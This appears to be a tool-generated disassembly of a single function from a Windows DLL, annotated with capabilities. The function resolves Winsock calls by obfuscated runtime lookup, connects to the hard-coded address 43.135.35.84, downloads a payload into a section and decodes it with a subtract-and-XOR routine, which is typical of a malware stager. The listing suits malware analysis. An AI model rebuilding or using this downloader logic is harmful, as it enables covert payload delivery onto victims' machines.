Function at 0x10001000
Capabilities:
Encode data using xor
Link many functions at runtime

Disassembly:
sub esp, 0x2a4
push ebx
push esi
push edi
lea eax, [esp + 0x20]
push 0x100
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x20]
push 0x100130cc
push ecx
call fcn.10001b60
mov ecx, dword [eax]
add esp, 8
mov eax, ecx
cdq
idiv ecx
push 0xea60
mov dword [0x100160a4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.USER32.dll_WaitForInputIdle]
mov edx, dword [0x100160a4]
push str.ws2_32.dll
lea esi, [eax + edx - 1]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
mov eax, dword [0x100160a4]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub eax, esi
add eax, 0x2f5
push eax
push edi
call ebx
mov ecx, dword [eax]
mov eax, ecx
cdq
idiv ecx
mov ecx, dword [0x100160a4]
lea eax, [ecx + eax - 1]
mov dword [0x100160a4], eax
sub eax, esi
add eax, 0x174
push eax
push edi
call ebx
mov edx, dword [0x100160a4]
mov dword [0x100160a0], eax
sub edx, esi
add edx, 0x111
push edx
push edi
call ebx
mov dword [0x1001609c], eax
mov eax, dword [0x100160a4]
sub eax, esi
add eax, 0x114
push eax
push edi
call ebx
mov ecx, dword [0x100160a4]
mov dword [0x10016098], eax
sub ecx, esi
add ecx, 0x118
push ecx
push edi
call ebx
mov edx, dword [0x100160a4]
mov dword [0x10016094], eax
sub edx, esi
add edx, 0x105
push edx
push edi
call ebx
mov dword [0x10016090], eax
mov eax, dword [0x100160a4]
sub eax, esi
add eax, 0x104
push eax
push edi
call ebx
mov ecx, dword [0x100160a4]
mov dword [0x1001608c], eax
sub ecx, esi
add ecx, 0x175
push ecx
push edi
call ebx
mov edx, dword [0x100160a4]
mov dword [0x10016088], eax
sub edx, esi
add edx, 0x10a
push edx
push edi
call ebx
mov dword [0x10016084], eax
mov eax, dword [0x100160a4]
sub eax, esi
add eax, 0x10c
push eax
push edi
call ebx
lea ecx, [esp + 0x120]
mov dword [0x10016080], eax
push ecx
push 0x202
call dword [0x100160a0]
mov edx, dword [0x100160a4]
mov word [esp + 0x10], 2
sub edx, esi
add edx, 0x75f2
push edx
call dword [0x10016084]
push str.43.135.35.84
mov word [esp + 0x16], ax
call dword [0x10016080]
push 6
push 1
push 2
mov dword [esp + 0x20], eax
call dword [0x10016094]
mov esi, eax
cmp esi, 0xffffffff
je 0x10001262
lea eax, [esp + 0x10]
push 0x10
push eax
push esi
call dword [0x10016090]
cmp eax, 0xffffffff
je 0x10001262
mov edx, dword [str.ddddddd]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0
push ecx
push edx
push esi
call dword [0x10016098]
push 0
lea ecx, [esp + 0x10]
push 4
push ecx
push esi
mov dword [esp + 0x1c], 0
call dword [0x1001609c]
mov eax, dword [esp + 0xc]
xor edi, edi
test eax, eax
je 0x1000121d
sub eax, edi
push 0
lea edx, [edi + section..aaaaa]
push eax
push edx
push esi
call dword [0x1001609c]
add edi, eax
mov eax, dword [esp + 0xc]
cmp edi, eax
jne 0x10001200
mov eax, dword [str.ddddddd]
movsx esi, byte [eax + 2]
xor eax, eax
mov edi, dword [esi + section..aaaaa]
test edi, edi
jle 0x10001262
mov ecx, dword [str.ddddddd]
mov dl, byte [ecx + 3]
mov cl, byte [eax + esi + 0x10019004]
sub cl, dl
mov byte [eax + esi + 0x10019004], cl
mov edx, dword [str.ddddddd]
mov dl, byte [edx + 2]
xor dl, cl
mov byte [eax + esi + 0x10019004], dl
inc eax
cmp eax, edi
jl 0x10001232
pop edi
pop esi
pop ebx
add esp, 0x2a4
ret